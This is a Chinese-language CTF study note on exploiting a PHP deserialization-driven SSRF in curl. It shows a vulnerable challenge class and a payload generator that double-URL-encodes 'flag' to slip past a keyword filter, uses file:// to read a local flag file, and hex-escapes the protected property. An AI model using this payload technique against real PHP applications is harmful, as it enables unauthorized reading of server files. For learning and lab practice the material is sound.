考点4:ssrf+curl+双编码绕过
<aside> 💡
curl基础知识
</aside>
注意!!! curl_exec($curl)会自动进行一次URL解码!!!
**<?php
//初始化
$curl = curl_init();
//设置url
curl_setopt($curl, CURLOPT_URL, '<http://httpbin.org/post>');
// 标识这个请求是一个POST请求
curl_setopt($curl, CURLOPT_POST,true);
$data = ['name'=> "Tom", "age"=> 23];
// http_build_query提交application/x-www-form-urlencoded
// 否则使用multipart/form-data类型
curl_setopt($curl, CURLOPT_POSTFIELDS, http_build_query($data));
//这行设置了连接超时时间为 5 秒,如果在 5 秒内无法建立连接,curl 操作会失败。
curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 5);
// 不返回HTTP头部信息
curl_setopt($curl, CURLOPT_HEADER, false);
// 设置获取的信息以文件流的形式返回
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
// 执行命令
$response = curl_exec($curl);
// 关闭URL请求
curl_close($curl);
// 显示获得的数据
print_r($response);**
<aside> 💡
C T F例题
</aside>
<?php
class Hello {
protected $a;
function test() {
$b = strpos($this->a, 'flag');
if($b) {
die("Bye!");
}
$c = curl_init();
curl_setopt($c, CURLOPT_URL, $this->a);
curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($c, CURLOPT_CONNECTTIMEOUT, 5);
echo curl_exec($c);
}
function __destruct(){
$this->test();
}
}
if (isset($_GET["z"])) {
unserialize($_GET["z"]);
} else {
highlight_file(__FILE__);
}
<aside> 💡
题目解析
</aside>
题目调用curl访问远程的内容并且通过echo curl_exec($c)
出来。
很明显,我们就是要利用这个函数。
然后通过 file:// 来读取flag。
但是,代码中是对 flag 关键字进行了过滤。
!!!CURL是会进行⼀次URL解码的,因此此处可以使用双URL编码进行绕过。
这⾥需要注意的是 protected $a; 是私有的受保护的变量,所以需要使用十六进制绕过。
依照前面的题目使用的方法,将s改成S,Chr(0)不可见字符用十六进制\00代替。
其中flag中的a字符使用URL编码。
最后在使⽤⼀次URL编码对payload进行整体URL编码,这样a字符就进行了两次URL编码了。
<aside> 💡
payload
</aside>
<?php
class Hello {
protected $a="file:///fl%61g";
}
$o=new Hello();
$o=serialize($o);
$o=str_replace(chr(0), '\\00', $o);
$o=str_replace('s', 'S', $o);
echo(urlencode($o));